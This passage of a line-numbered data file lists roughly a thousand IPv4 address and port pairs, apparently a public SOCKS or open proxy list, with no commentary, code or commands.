181 | 187.95.136.74:5678
182 | 71.71.162.234:39593
183 | 200.85.52.170:5678
184 | 188.124.12.43:3629
185 | 109.122.81.9:57553
186 | 165.22.214.24:28704
187 | 149.129.39.3:31316
188 | 123.49.53.170:5678
189 | 92.45.19.35:5678
190 | 5.172.188.92:5678
191 | 217.29.18.206:4145
192 | 128.127.94.160:5678
193 | 138.197.197.200:9050
194 | 103.16.60.22:50000
195 | 49.156.47.162:5678
196 | 213.96.16.193:4145
197 | 194.44.104.242:10800
198 | 47.108.93.125:10705
199 | 170.82.180.120:4153
200 | 178.253.204.206:1080
201 | 83.234.76.155:4145
202 | 119.148.103.5:4153
203 | 89.132.207.82:4145
204 | 103.221.254.102:54409
205 | 190.12.30.162:4153
206 | 194.67.9.178:4153
207 | 89.43.5.134:3629
208 | 177.54.195.48:4145
209 | 37.57.40.167:4145
210 | 164.132.95.239:62498
211 | 103.5.127.132:5678
212 | 150.129.170.13:44502
213 | 131.196.180.1:4153
214 | 68.71.249.153:48606
215 | 195.222.107.85:4153
216 | 203.77.239.201:4153
217 | 109.248.175.223:1088
218 | 36.95.133.234:1080
219 | 103.123.250.179:38362
220 | 167.99.12.224:12736
221 | 196.216.12.21:2420
222 | 221.2.71.10:4153
223 | 185.184.197.101:5678
224 | 178.69.12.30:50893
225 | 212.93.226.169:4153
226 | 103.235.199.93:5678
227 | 50.237.206.174:64312
228 | 49.51.74.195:21127
229 | 103.148.225.6:5678
230 | 167.71.236.109:9053
231 | 185.198.181.140:5678
232 | 116.199.170.65:4145
233 | 84.54.202.216:4145
234 | 190.145.77.219:4153
235 | 124.109.17.151:5678
236 | 31.22.7.188:35633
237 | 129.146.216.187:20000
238 | 122.252.179.66:5678
239 | 41.242.66.187:5678
240 | 188.165.225.139:46129
241 | 96.89.5.21:34032
242 | 45.132.236.217:8888
243 | 1.20.227.66:4145
244 | 208.98.171.227:39593
245 | 103.70.204.201:59311
246 | 103.69.216.250:5678
247 | 175.100.18.45:41575
248 | 89.39.114.31:4153
249 | 180.94.64.114:5678
250 | 103.25.123.193:44550
251 | 77.237.82.77:5678
252 | 185.20.115.118:34493
253 | 24.103.162.189:31337
254 | 41.72.214.14:5678
255 | 187.16.255.69:4153
256 | 81.89.69.37:4153
257 | 103.21.40.35:4145
258 | 103.235.66.198:5678
259 | 14.63.1.108:4145
260 | 123.58.106.108:4153
261 | 46.175.70.69:59376
262 | 192.159.39.30:3629
263 | 46.101.5.73:48528
264 | 166.62.118.86:48127
265 | 173.25.228.107:39593
266 | 176.114.228.40:44604
267 | 103.137.193.51:5678
268 | 27.147.185.73:5678
269 | 185.66.228.149:4145
270 | 109.238.222.5:42401
271 | 185.126.47.75:5678
272 | 41.57.156.202:5678
273 | 83.220.234.102:5678
274 | 181.15.154.154:52033
275 | 170.80.91.7:4145
276 | 86.101.187.193:4153
277 | 14.161.20.143:5678
278 | 95.161.188.246:61537
279 | 37.61.149.255:5678
280 | 212.200.161.241:5678
281 | 80.241.44.34:5678
282 | 192.169.244.80:11514
283 | 115.89.177.92:10081
284 | 1.10.189.133:50855
285 | 116.203.128.117:9050
286 | 181.174.85.107:5678
287 | 200.6.175.10:59341
288 | 85.25.111.162:5577
289 | 103.245.78.69:5678
290 | 177.136.34.26:4153
291 | 117.158.64.100:1080
292 | 36.67.27.205:35159
293 | 31.206.38.55:37630
294 | 185.216.18.138:44550
295 | 177.23.184.166:4145
296 | 46.209.47.3:1081
297 | 124.105.55.176:30906
298 | 201.184.155.20:5678
299 | 212.200.149.242:5678
300 | 103.206.119.73:4145
301 | 101.51.121.203:4153
302 | 80.68.76.178:4153
303 | 14.102.44.25:34047
304 | 178.62.22.215:19723
305 | 194.87.102.102:1111
306 | 190.14.229.242:5678
307 | 37.252.86.97:5678
308 | 89.251.144.37:30048
309 | 36.67.27.189:49524
310 | 45.146.13.219:5678
311 | 84.236.185.247:61710
312 | 185.89.180.151:4145
313 | 122.3.255.114:4145
314 | 103.156.249.37:5678
315 | 202.137.141.183:5678
316 | 181.49.212.122:5678
317 | 5.152.86.46:14888
318 | 185.49.240.153:3629
319 | 190.94.252.254:5678
320 | 115.178.27.155:5678
321 | 185.126.40.232:4153
322 | 118.97.119.98:4153
323 | 159.203.33.4:7108
324 | 36.37.92.1:4153
325 | 192.111.130.2:4145
326 | 114.57.39.113:5678
327 | 125.141.133.46:5566
328 | 40.136.41.6:1080
329 | 93.119.166.150:5678
330 | 202.72.209.3:44550
331 | 193.163.116.29:1080
332 | 154.212.5.190:5678
333 | 201.221.134.74:5678
334 | 45.70.30.195:5678
335 | 89.218.170.58:41452
336 | 184.178.172.13:15311
337 | 203.153.113.238:5678
338 | 201.184.238.106:5678
339 | 181.143.69.227:5678
340 | 120.39.221.140:8001
341 | 77.89.251.138:4145
342 | 37.59.98.31:9050
343 | 50.204.174.52:60285
344 | 139.228.3.167:5678
345 | 85.25.91.141:5577
346 | 27.54.166.212:57995
347 | 103.163.36.185:4145
348 | 187.19.127.253:4153
349 | 62.183.98.181:4145
350 | 85.62.101.113:1080
351 | 187.210.136.88:4153
352 | 202.62.37.187:4153
353 | 158.58.133.187:54266
354 | 115.90.219.181:4145
355 | 203.206.235.153:50042
356 | 176.98.248.2:4153
357 | 64.119.30.126:5678
358 | 118.172.47.97:51327
359 | 197.211.240.119:5678
360 | 84.232.247.54:1099
361 | 103.164.113.26:5678
362 | 181.209.86.171:58682
363 | 179.43.98.186:5678
364 | 168.232.41.148:5678
365 | 59.50.95.62:7091
366 | 62.103.186.66:4153
367 | 177.52.26.234:4145
368 | 85.105.156.8:4153
369 | 194.153.194.237:1080
370 | 103.83.174.95:4145
371 | 45.129.123.101:4153
372 | 23.88.36.141:9050
373 | 185.139.56.133:4145
374 | 202.21.112.172:1080
375 | 43.228.125.91:29835
376 | 43.241.30.222:4145
377 | 177.184.67.13:4145
378 | 50.62.63.126:49069
379 | 107.170.50.49:36827
380 | 185.171.54.29:4153
381 | 97.74.230.87:26236
382 | 103.250.153.202:41889
383 | 188.166.104.152:17538
384 | 103.80.210.33:5678
385 | 103.153.62.70:5678
386 | 91.122.49.26:51327
387 | 186.67.159.90:4145
388 | 54.36.230.214:1080
389 | 217.78.61.131:5678
390 | 106.245.183.58:4145
391 | 178.218.105.29:5678
392 | 182.48.70.154:38440
393 | 198.199.64.196:61877
394 | 103.49.189.14:5678
395 | 139.5.132.106:4153
396 | 222.212.85.16:7000
397 | 110.44.113.162:5678
398 | 181.111.175.236:8291
399 | 37.26.136.181:39323
400 | 164.163.21.10:4153
401 | 188.247.39.14:43032
402 | 50.251.146.121:5678
403 | 62.122.201.246:50129
404 | 95.142.223.24:52666
405 | 103.199.97.5:39825
406 | 165.227.104.122:26065
407 | 201.219.217.70:31337
408 | 177.86.64.241:3629
409 | 213.204.80.167:5678
410 | 182.75.132.106:5678
411 | 91.126.138.135:5678
412 | 174.75.211.222:4145
413 | 103.227.252.81:1080
414 | 125.141.139.112:5566
415 | 109.247.232.235:5678
416 | 103.106.217.130:4145
417 | 186.249.184.194:5678
418 | 213.6.66.66:57391
419 | 84.243.108.186:3629
420 | 50.63.13.221:40740
421 | 178.72.90.70:5678
422 | 119.82.251.250:31678
423 | 142.93.78.172:61608
424 | 93.87.74.222:4153
425 | 117.242.147.97:4153
426 | 192.252.215.5:16137
427 | 24.51.249.27:5678
428 | 177.207.192.137:4145
429 | 103.114.98.205:1080
430 | 109.232.106.236:52435
431 | 177.87.223.194:49233
432 | 41.162.108.180:5678
433 | 103.155.166.250:1080
434 | 201.217.245.229:37254
435 | 89.250.149.114:59599
436 | 181.39.74.170:5678
437 | 109.238.223.67:61150
438 | 82.142.135.10:4145
439 | 200.58.212.19:14888
440 | 186.211.8.1:35852
441 | 49.156.42.210:5678
442 | 202.29.226.54:4153
443 | 178.124.156.93:5678
444 | 201.140.238.231:5678
445 | 217.217.175.32:4153
446 | 192.111.130.5:17002
447 | 182.160.124.26:5678
448 | 103.122.65.21:5678
449 | 79.133.200.147:40904
450 | 92.207.253.226:4145
451 | 103.30.86.233:4153
452 | 184.178.172.18:15280
453 | 202.75.108.122:5678
454 | 159.192.148.230:5678
455 | 103.164.107.98:5678
456 | 203.76.112.68:5678
457 | 152.160.144.6:1080
458 | 45.163.200.2:4145
459 | 190.144.224.182:44550
460 | 70.82.75.118:4153
461 | 82.103.118.42:1099
462 | 79.143.180.109:63640
463 | 93.48.228.247:4153
464 | 91.210.176.104:1088
465 | 103.3.77.194:5678
466 | 43.224.10.32:6667
467 | 201.158.120.39:4153
468 | 93.171.224.58:4153
469 | 187.86.153.254:30660
470 | 103.156.161.96:5678
471 | 103.249.25.50:5678
472 | 192.111.135.18:18301
473 | 80.79.66.82:3629
474 | 91.193.252.112:57296
475 | 103.140.234.78:5678
476 | 182.52.58.44:4153
477 | 5.34.74.214:4145
478 | 5.252.177.254:12020
479 | 125.27.251.171:36743
480 | 70.185.68.133:4145
481 | 36.92.197.99:5678
482 | 46.55.161.113:5678
483 | 212.50.19.150:4153
484 | 220.196.62.34:5678
485 | 24.139.143.226:4153
486 | 209.213.42.215:64312
487 | 37.238.134.130:31772
488 | 200.223.164.210:4153
489 | 196.50.7.11:4153
490 | 109.70.189.51:3629
491 | 5.141.81.106:44271
492 | 91.237.161.211:56889
493 | 185.208.191.110:1088
494 | 109.167.249.41:4145
495 | 103.239.165.28:5678
496 | 159.65.159.172:4003
497 | 24.37.245.42:51056
498 | 190.85.212.170:5678
499 | 103.14.232.46:5678
500 | 109.173.96.85:3629
501 | 89.28.32.203:57391
502 | 24.234.142.122:31008
503 | 47.52.254.9:9100
504 | 103.124.190.130:5678
505 | 82.99.203.76:58523
506 | 67.201.33.9:25280
507 | 70.60.230.193:32940
508 | 190.24.86.206:4145
509 | 24.203.247.55:5678
510 | 192.169.250.203:17296
511 | 81.3.176.219:1080
512 | 190.215.207.162:5678
513 | 49.156.38.126:5678
514 | 50.236.148.246:31699
515 | 70.166.167.55:57745
516 | 4.28.96.166:39593
517 | 177.136.124.48:3629
518 | 139.59.13.219:51862
519 | 113.108.247.146:20086
520 | 190.171.174.82:5678
521 | 185.43.8.43:54125
522 | 201.206.141.102:6969
523 | 101.35.115.136:20012
524 | 36.89.105.242:5678
525 | 190.119.186.91:5678
526 | 98.162.25.4:31654
527 | 117.102.102.155:4153
528 | 159.224.243.185:61303
529 | 72.221.172.203:4145
530 | 213.6.77.198:5678
531 | 69.61.200.104:36181
532 | 174.77.111.197:4145
533 | 185.17.134.149:61535
534 | 195.112.197.19:41021
535 | 192.111.137.35:4145
536 | 150.129.151.42:6667
537 | 186.211.199.118:4145
538 | 185.46.170.253:4145
539 | 185.32.44.1:4153
540 | 95.158.139.61:10801
541 | 187.95.136.14:5678
542 | 36.89.85.249:5678
543 | 45.221.73.46:5678
544 | 103.164.107.66:5678
545 | 103.6.184.222:36983
546 | 185.171.55.162:4153
547 | 185.152.12.49:54680
548 | 190.145.255.246:4145
549 | 188.175.207.27:5678
550 | 87.236.210.48:443
551 | 103.105.70.9:30538
552 | 36.67.245.165:5678
553 | 77.241.20.215:55915
554 | 181.143.54.162:4153
555 | 168.121.137.64:10801
556 | 200.108.196.108:4145
557 | 96.38.232.108:34032
558 | 185.171.54.36:4153
559 | 43.242.242.140:5678
560 | 202.21.113.86:4153
561 | 103.146.184.62:1085
562 | 103.144.255.146:5678
563 | 5.166.57.222:49710
564 | 197.232.21.22:58253
565 | 72.221.196.157:35904
566 | 200.218.247.245:5678
567 | 192.252.220.92:17328
568 | 201.187.102.73:5678
569 | 59.36.136.238:1080
570 | 50.197.210.138:32100
571 | 85.198.185.26:5678
572 | 110.172.160.42:34047
573 | 103.134.38.102:1080
574 | 197.255.253.33:5678
575 | 51.83.140.70:8181
576 | 212.34.111.254:4145
577 | 200.116.198.177:32072
578 | 95.165.163.188:36496
579 | 188.18.10.140:5678
580 | 45.142.214.123:30002
581 | 192.252.211.197:14921
582 | 184.178.172.25:15291
583 | 201.93.159.234:4145
584 | 37.98.218.137:5678
585 | 212.115.232.79:10800
586 | 64.119.31.178:5678
587 | 201.140.238.230:5678
588 | 178.238.25.174:1337
589 | 185.49.107.43:5678
590 | 103.199.155.26:1080
591 | 177.30.63.43:4153
592 | 103.78.25.99:5678
593 | 187.130.139.197:37812
594 | 197.255.254.149:5678
595 | 218.108.31.28:4145
596 | 187.177.30.154:4145
597 | 103.146.16.174:4145
598 | 187.62.191.3:33428
599 | 62.99.178.46:43636
600 | 167.86.95.242:20044
601 | 182.160.124.106:5678
602 | 122.144.129.9:20086
603 | 185.37.211.222:43358
604 | 190.98.189.228:5678
605 | 188.246.239.42:5678
606 | 192.162.193.243:54313
607 | 195.167.104.114:4153
608 | 89.222.132.31:3629
609 | 195.226.105.219:4153
610 | 8.40.133.10:1099
611 | 185.132.1.221:4145
612 | 201.184.135.155:4145
613 | 83.168.84.142:4153
614 | 138.68.6.227:9070
615 | 51.222.12.245:10084
616 | 120.25.121.1:7890
617 | 77.120.163.103:42208
618 | 178.151.205.154:38421
619 | 85.25.201.22:5577
620 | 103.94.133.94:4153
621 | 5.188.64.79:5678
622 | 202.21.114.134:4153
623 | 188.72.51.34:5678
624 | 92.222.206.151:2020
625 | 217.197.158.182:5678
626 | 103.95.97.186:31244
627 | 103.127.56.81:5678
628 | 202.51.103.154:5678
629 | 72.206.181.103:4145
630 | 138.68.57.62:9050
631 | 171.224.240.3:5678
632 | 93.175.194.154:3629
633 | 180.211.191.94:4153
634 | 195.175.87.14:4153
635 | 200.105.192.6:5678
636 | 91.226.51.200:4145
637 | 61.171.28.45:5678
638 | 168.227.145.35:5678
639 | 178.170.54.205:9050
640 | 193.151.197.122:3629
641 | 191.181.15.82:59341
642 | 72.210.208.101:4145
643 | 85.25.196.76:5577
644 | 183.173.23.91:7890
645 | 39.96.175.55:1080
646 | 138.59.140.77:57669
647 | 197.253.58.89:5678
648 | 162.247.18.162:4153
649 | 111.194.229.67:5678
650 | 36.91.233.114:5678
651 | 12.187.55.1:39593
652 | 187.19.127.179:4153
653 | 202.153.91.165:1080
654 | 188.165.254.122:9420
655 | 67.205.183.80:63922
656 | 109.167.134.253:44788
657 | 181.48.193.42:2580
658 | 187.44.167.78:47074
659 | 185.62.174.160:3629
660 | 196.41.102.130:60216
661 | 139.162.100.170:9050
662 | 85.163.125.74:5678
663 | 195.162.81.99:3629
664 | 45.228.96.34:33406
665 | 202.151.163.10:1080
666 | 186.86.137.96:5678
667 | 167.99.239.113:47430
668 | 200.29.120.4:5678
669 | 72.223.168.73:57494
670 | 190.221.161.186:4153
671 | 181.166.106.224:42315
672 | 98.170.57.231:4145
673 | 121.200.60.198:8010
674 | 46.174.234.96:5678
675 | 117.241.169.121:5678
676 | 177.54.201.168:51735
677 | 117.242.147.5:4153
678 | 178.35.252.242:3629
679 | 67.204.21.1:64312
680 | 184.179.216.130:4145
681 | 119.29.88.110:8003
682 | 91.202.79.10:3629
683 | 103.87.201.135:4145
684 | 91.105.152.168:4145
685 | 185.17.132.158:4145
686 | 91.150.189.122:60647
687 | 61.141.21.34:1080
688 | 82.165.137.115:7061
689 | 116.206.61.179:5678
690 | 51.91.17.125:56148
691 | 46.99.161.122:5678
692 | 178.168.91.178:5678
693 | 109.87.78.144:4145
694 | 27.147.155.70:52596
695 | 190.128.28.69:4153
696 | 190.92.4.231:5678
697 | 92.49.31.16:5678
698 | 27.147.241.134:10800
699 | 103.209.204.141:5678
700 | 186.208.65.114:4153
701 | 94.247.241.70:51006
702 | 109.86.225.146:4145
703 | 202.43.117.134:4145
704 | 202.6.224.51:1080
705 | 123.213.70.176:4145
706 | 217.145.199.112:56284
707 | 64.27.10.80:32688
708 | 50.96.204.4:18351
709 | 102.68.17.196:5678
710 | 80.81.232.151:5678
711 | 37.26.136.175:3629
712 | 186.147.254.122:5678
713 | 91.225.166.198:4153
714 | 222.124.34.196:5678
715 | 98.175.31.195:4145
716 | 72.195.34.60:27391
717 | 197.250.15.58:3043
718 | 80.80.167.22:10801
719 | 103.76.201.118:8291
720 | 187.49.193.202:5678
721 | 111.43.105.166:7890
722 | 194.28.91.10:5678
723 | 185.12.20.205:1080
724 | 185.56.246.76:8291
725 | 79.106.224.206:5678
726 | 95.77.104.79:37975
727 | 94.228.192.197:3629
728 | 216.154.201.132:54321
729 | 103.197.205.80:443
730 | 41.90.245.15:10801
731 | 202.93.228.13:4153
732 | 221.1.215.150:5678
733 | 36.67.8.27:5678
734 | 185.7.169.29:5678
735 | 188.163.170.130:35578
736 | 211.212.237.221:4145
737 | 31.173.140.183:3629
738 | 91.246.213.104:4145
739 | 103.37.111.118:21004
740 | 103.82.11.237:4153
741 | 168.0.172.100:5678
742 | 110.78.164.234:4153
743 | 203.205.34.91:5678
744 | 195.175.73.214:5678
745 | 51.83.190.248:19050
746 | 190.115.255.106:5678
747 | 200.231.188.18:4153
748 | 101.51.141.11:4153
749 | 181.78.16.198:5678
750 | 91.250.61.5:3629
751 | 103.8.115.27:48644
752 | 103.82.13.89:5678
753 | 70.166.167.36:4145
754 | 94.159.31.98:1080
755 | 202.70.80.153:5678
756 | 92.255.185.6:4145
757 | 82.137.250.18:5678
758 | 85.113.140.196:3629
759 | 36.255.211.1:55438
760 | 152.70.246.237:40009
761 | 161.49.158.165:5678
762 | 200.58.76.160:5678
763 | 185.51.92.103:51327
764 | 142.44.136.97:7001
765 | 119.29.48.249:8888
766 | 106.240.89.60:4145
767 | 71.69.154.60:10019
768 | 103.108.182.5:31080
769 | 5.58.66.55:14888
770 | 185.51.92.108:51327
771 | 60.241.231.114:4153
772 | 77.89.204.254:4145
773 | 186.97.172.178:5678
774 | 61.7.195.206:44594
775 | 185.136.150.252:4145
776 | 50.192.49.5:32100
777 | 123.200.9.30:5678
778 | 192.111.137.34:18765
779 | 88.255.102.114:1082
780 | 45.81.225.67:7056
781 | 45.117.83.62:4040
782 | 178.79.161.73:32714
783 | 194.213.43.166:59316
784 | 188.237.60.27:1080
785 | 131.221.182.14:4153
786 | 37.26.86.206:4145
787 | 170.244.64.198:31476
788 | 61.142.72.150:33235
789 | 46.35.249.189:49795
790 | 164.52.42.6:4145
791 | 5.17.90.170:5678
792 | 139.59.79.64:25838
793 | 109.75.34.152:59341
794 | 188.170.237.214:3629
795 | 36.67.146.37:5678
796 | 37.17.53.108:3629
797 | 5.178.193.43:1080
798 | 131.161.176.145:5678
799 | 186.159.3.193:45524
800 | 46.8.38.1:4153
801 | 200.11.219.106:5678
802 | 65.20.187.60:5678
803 | 1.9.164.242:35471
804 | 167.99.153.77:35112
805 | 192.241.252.114:64021
806 | 192.111.139.163:19404
807 | 213.138.77.238:4145
808 | 182.93.80.3:8291
809 | 103.11.135.77:1080
810 | 202.131.246.250:5678
811 | 185.215.163.94:3629
812 | 177.74.136.33:5678
813 | 203.150.136.34:3629
814 | 85.248.57.129:4153
815 | 5.1.104.66:33041
816 | 212.39.114.139:5678
817 | 46.174.235.37:5678
818 | 183.88.212.247:1080
819 | 8.218.44.70:54256
820 | 119.29.221.234:8003
821 | 37.57.38.133:10801
822 | 103.210.29.201:31433
823 | 111.59.85.161:5678
824 | 170.246.85.107:37163
825 | 181.205.5.74:5678
826 | 138.204.234.27:5678
827 | 103.102.15.165:1080
828 | 190.186.216.196:5678
829 | 183.177.127.42:5678
830 | 103.122.64.229:1080
831 | 81.210.61.2:65000
832 | 181.204.2.242:5678
833 | 31.28.241.117:4145
834 | 50.84.203.105:5678
835 | 81.177.142.19:1080
836 | 176.120.191.184:3629
837 | 203.153.109.150:49947
838 | 1.9.167.35:60489
839 | 186.189.204.222:5678
840 | 195.24.66.5:9050
841 | 181.13.198.90:4153
842 | 186.208.115.6:5678
843 | 103.120.202.53:5678
844 | 125.141.133.49:5566
845 | 94.240.10.115:5678
846 | 58.252.219.12:11337
847 | 190.210.93.15:5678
848 | 202.21.115.94:44574
849 | 161.49.222.67:4145
850 | 181.94.246.125:4153
851 | 76.26.114.253:39593
852 | 110.235.255.179:5678
853 | 178.212.52.67:5678
854 | 36.66.55.43:5678
855 | 130.61.153.38:9050
856 | 105.29.64.195:40400
857 | 36.95.4.169:5678
858 | 184.105.134.166:48324
859 | 103.85.67.169:4145
860 | 178.212.65.61:3629
861 | 152.32.84.108:4153
862 | 46.254.217.67:61781
863 | 208.102.51.6:58208
864 | 185.94.219.160:1080
865 | 103.140.35.11:4145
866 | 117.45.139.81:8003
867 | 81.218.45.150:5678
868 | 167.114.89.174:37666
869 | 216.218.240.46:48324
870 | 139.5.29.97:36983
871 | 159.89.160.152:54858
872 | 103.81.156.25:9999
873 | 156.155.188.152:5678
874 | 169.255.190.18:4145
875 | 70.60.230.8:34116
876 | 45.235.148.4:3629
877 | 83.168.84.130:4153
878 | 188.190.101.143:4145
879 | 41.190.55.154:5678
880 | 186.194.234.18:4153
881 | 41.216.68.254:5678
882 | 1.20.220.79:4145
883 | 203.202.253.186:58309
884 | 83.218.186.22:5678
885 | 200.52.144.170:33865
886 | 109.72.97.66:4145
887 | 180.211.179.150:40153
888 | 2.139.162.80:4145
889 | 109.68.189.22:54643
890 | 200.3.173.140:5678
891 | 181.129.83.234:5678
892 | 190.4.205.226:4153
893 | 1.179.148.9:36476
894 | 91.216.254.14:55555
895 | 119.2.54.25:5678
896 | 189.16.248.226:5678
897 | 185.21.39.46:58351
898 | 45.125.63.46:44110
899 | 92.242.221.236:5678
900 | 177.139.130.157:4153
901 | 173.255.199.69:19151
902 | 46.101.36.144:11475
903 | 103.250.158.21:6667
904 | 77.121.5.131:1080
905 | 118.179.173.253:5678
906 | 117.202.20.69:1088
907 | 132.255.224.193:4153
908 | 117.220.171.105:4153
909 | 176.123.56.58:3629
910 | 81.23.3.237:3629
911 | 185.49.170.20:33626
912 | 176.98.95.105:30759
913 | 103.221.253.145:38247
914 | 187.87.200.106:5678
915 | 103.155.169.19:5678
916 | 83.234.206.200:51327
917 | 154.66.124.51:5678
918 | 109.74.10.39:10123
919 | 131.221.165.53:4153
920 | 119.235.50.246:4153
921 | 207.201.218.182:9051
922 | 109.87.130.6:5678
923 | 103.76.24.29:5678
924 | 62.33.235.50:4153
925 | 192.111.139.162:4145
926 | 213.174.0.72:1080
927 | 24.37.221.246:4145
928 | 189.52.165.134:1080
929 | 213.82.192.26:1088
930 | 139.255.113.194:5678
931 | 62.33.210.34:41051
932 | 182.253.192.186:46634
933 | 113.53.29.218:45189
934 | 178.23.149.205:5678
935 | 200.46.191.130:5678
936 | 90.181.150.210:4145
937 | 154.72.201.190:42252
938 | 27.123.5.26:5678
939 | 121.65.173.82:4145
940 | 62.73.127.98:10801
941 | 103.241.227.110:6667
942 | 36.94.130.66:5678
943 | 14.102.64.209:60616
944 | 164.132.135.183:32826
945 | 104.131.8.62:10808
946 | 191.98.196.15:5678
947 | 190.52.128.247:5678
948 | 72.195.34.58:4145
949 | 103.248.196.98:5678
950 | 218.75.69.50:56430
951 | 202.124.46.97:4145
952 | 12.228.137.37:32307
953 | 110.44.126.221:5678
954 | 85.25.100.47:5577
955 | 190.233.243.175:5678
956 | 103.137.124.10:55492
957 | 81.199.89.88:1088
958 | 95.82.169.251:5678
959 | 186.190.228.83:4153
960 | 98.162.25.23:4145
961 | 195.39.243.198:3629
962 | 212.156.55.34:5678
963 | 49.51.189.171:21127
964 | 103.151.140.190:5678
965 | 117.28.254.143:4145
966 | 202.5.37.241:49151
967 | 201.158.10.64:5678
968 | 200.116.198.160:58927
969 | 31.28.99.25:55767
970 | 14.142.20.134:4145
971 | 193.200.151.69:32777
972 | 169.239.221.89:1080
973 | 202.91.188.81:4145
974 | 202.57.37.197:35846
975 | 190.210.251.2:37240
976 | 177.84.78.63:5678
977 | 149.56.44.70:53007
978 | 184.181.217.210:4145
979 | 89.36.162.249:4145
980 | 103.164.107.114:5678
981 | 87.236.210.62:443
982 | 193.34.161.129:44436
983 | 8.42.68.121:39593
984 | 186.47.232.243:5678
985 | 92.249.219.47:59587
986 | 85.25.91.161:5577
987 | 36.133.214.97:81
988 | 58.215.218.170:10800
989 | 192.252.214.20:15864
990 | 81.17.81.34:4145
991 | 192.111.137.37:18762
992 | 103.250.148.82:41889
993 | 204.101.61.81:4145
994 | 185.49.38.25:1088
995 | 185.61.92.207:39949
996 | 69.75.122.146:39593
997 | 77.104.103.237:5678
998 | 202.138.242.6:38373
999 | 118.123.241.59:10808
1000 | 103.153.140.193:4153
1001 | 91.214.130.253:61221
1002 | 190.85.26.5:4153
1003 | 36.89.229.97:50540
1004 | 195.24.61.7:51544
1005 | 46.227.162.98:33802
1006 | 103.141.175.182:5678
1007 | 85.237.62.189:3629
1008 | 46.99.177.91:3629
1009 | 185.89.65.165:33744
1010 | 189.38.3.22:4153
1011 | 89.179.202.161:5678
1012 | 91.193.125.123:3629
1013 | 103.99.110.222:5678
1014 | 98.162.96.52:4145
1015 | 8.42.71.226:39593
1016 | 206.189.127.181:46374
1017 | 103.58.75.24:5678
1018 | 110.164.156.114:5678
1019 | 112.163.21.154:23386
1020 | 190.106.203.86:5678
1021 | 46.173.35.229:3629
1022 | 45.114.70.164:3629
1023 | 119.93.122.233:4145
1024 | 45.235.151.58:3629
1025 | 170.84.48.105:55731
1026 | 67.204.131.163:3629
1027 | 65.20.155.226:5678
1028 | 8.42.69.93:39593
1029 | 176.241.94.228:10801
1030 | 45.85.18.37:4145
1031 | 106.15.60.37:7890
1032 | 89.221.60.110:4153
1033 | 139.196.229.151:43175
1034 | 72.223.168.67:4145
1035 | 82.207.59.154:3629
1036 | 193.84.184.25:5678
1037 | 123.49.48.130:5678
1038 | 185.78.16.76:5678
1039 | 192.158.15.201:50877
1040 | 198.1.94.46:15456
1041 | 181.209.219.28:4153
1042 | 185.79.241.38:5678
1043 | 36.91.58.47:5678
1044 | 91.185.236.236:4145
1045 | 194.228.84.10:4145
1046 | 72.195.34.35:27360
1047 | 202.62.39.177:5678
1048 | 66.118.198.247:54321
1049 | 183.173.187.60:7890
1050 | 81.16.1.71:5678
1051 | 140.83.81.231:12345
1052 | 176.65.240.48:5678
1053 | 121.101.185.5:43296
1054 | 36.95.142.26:4153
1055 | 185.188.216.93:4145
1056 | 115.85.65.147:42765
1057 | 178.62.79.49:53005
1058 | 45.115.115.146:31141
1059 | 173.206.133.93:4145
1060 | 184.178.172.14:4145
1061 | 180.92.212.200:5678
1062 | 46.188.82.63:4153
1063 | 72.210.252.134:46164
1064 | 181.211.101.242:5678
1065 | 31.210.225.135:4153
1066 | 118.172.181.147:51411
1067 | 103.51.44.41:4145
1068 | 195.219.98.27:5678
1069 | 103.175.80.54:1080
1070 | 128.199.245.23:24527
1071 | 176.96.155.160:4153
1072 | 177.93.72.38:4153
1073 | 91.244.69.154:5678
1074 | 103.114.98.206:5678
1075 | 187.60.66.45:5678
1076 | 178.48.68.61:4145
1077 | 94.139.170.82:33848
1078 | 167.99.62.42:42688
1079 | 203.150.113.44:14153
1080 | 95.57.214.38:5678
1081 | 103.240.109.26:4145
1082 | 202.150.148.218:61924
1083 | 177.10.84.121:4145
1084 | 202.148.3.68:4153
1085 | 103.234.26.242:1080
1086 | 186.159.17.194:5678
1087 | 188.133.160.22:4145
1088 | 103.102.141.39:4145
1089 | 37.238.169.18:5678
1090 | 192.144.104.1:33283
1091 | 114.134.190.164:5678
1092 | 98.162.25.29:31679
1093 | 177.54.136.150:5678
1094 | 189.121.227.30:5678
1095 | 186.103.143.210:4153
1096 | 5.180.100.24:5678
1097 | 213.14.31.122:35314
1098 | 103.29.140.65:5678
1099 | 122.116.124.83:5678
1100 | 103.164.107.86:5678
1101 | 72.206.181.123:4145
1102 | 177.19.152.170:5678
1103 | 178.134.155.82:49483
1104 | 181.143.228.106:35800
1105 | 64.227.53.22:9050
1106 | 43.252.158.27:4145
1107 | 188.138.179.13:4153
1108 | 185.102.236.16:5678
1109 | 82.144.97.2:1099
1110 | 91.230.199.174:32151
1111 | 116.66.205.50:5678
1112 | 54.39.30.128:5678
1113 | 45.125.222.125:47239
1114 | 94.26.108.67:2580
1115 | 115.85.86.114:5678
1116 | 130.193.123.34:5678
1117 | 83.168.89.225:4153
1118 | 181.143.45.20:4153
1119 | 210.245.51.43:4145
1120 | 186.97.236.242:5678
1121 | 5.160.72.150:43130
1122 | 187.122.248.194:5678
1123 | 72.221.196.145:4145
1124 | 78.140.7.239:40009
1125 | 202.148.12.90:51302
1126 | 168.90.15.78:1080
1127 | 78.38.91.97:7070
1128 | 84.53.239.95:4145
1129 | 120.196.228.73:1081
1130 | 202.183.155.242:4153
1131 | 192.241.211.29:60287
1132 | 185.87.121.5:8975
1133 | 213.145.137.102:37447
1134 | 49.156.39.162:5678
1135 | 142.93.143.155:9010
1136 | 203.77.240.76:4145
1137 | 94.240.198.202:5678
1138 | 178.219.126.180:5678
1139 | 114.96.77.41:5678
1140 | 113.161.128.192:4153
1141 | 190.85.26.10:3629
1142 | 91.92.94.69:5678
1143 | 178.254.174.196:4145
1144 | 82.117.247.76:31080
1145 | 1.179.173.114:4153
1146 | 103.224.54.225:31433
1147 | 103.87.86.146:4153
1148 | 103.83.185.1:4145
1149 | 188.124.46.55:5678
1150 | 60.12.214.184:46849
1151 | 117.242.147.73:46152
1152 | 178.189.11.134:61039
1153 | 195.162.81.91:34862
1154 | 169.239.223.136:52178
1155 | 176.98.156.64:4145
1156 | 196.0.111.186:46048
1157 | 163.53.204.182:56447
1158 | 186.1.182.194:4153
1159 | 80.73.87.202:4153
1160 | 217.218.242.75:5678
1161 | 5.58.47.25:3629
1162 | 185.47.184.253:45463
1163 | 199.1.155.103:5678
1164 | 95.0.206.54:5678
1165 | 191.180.206.74:4153
1166 | 36.94.178.53:5678
1167 | 89.218.5.109:50733
1168 | 43.224.10.43:6667
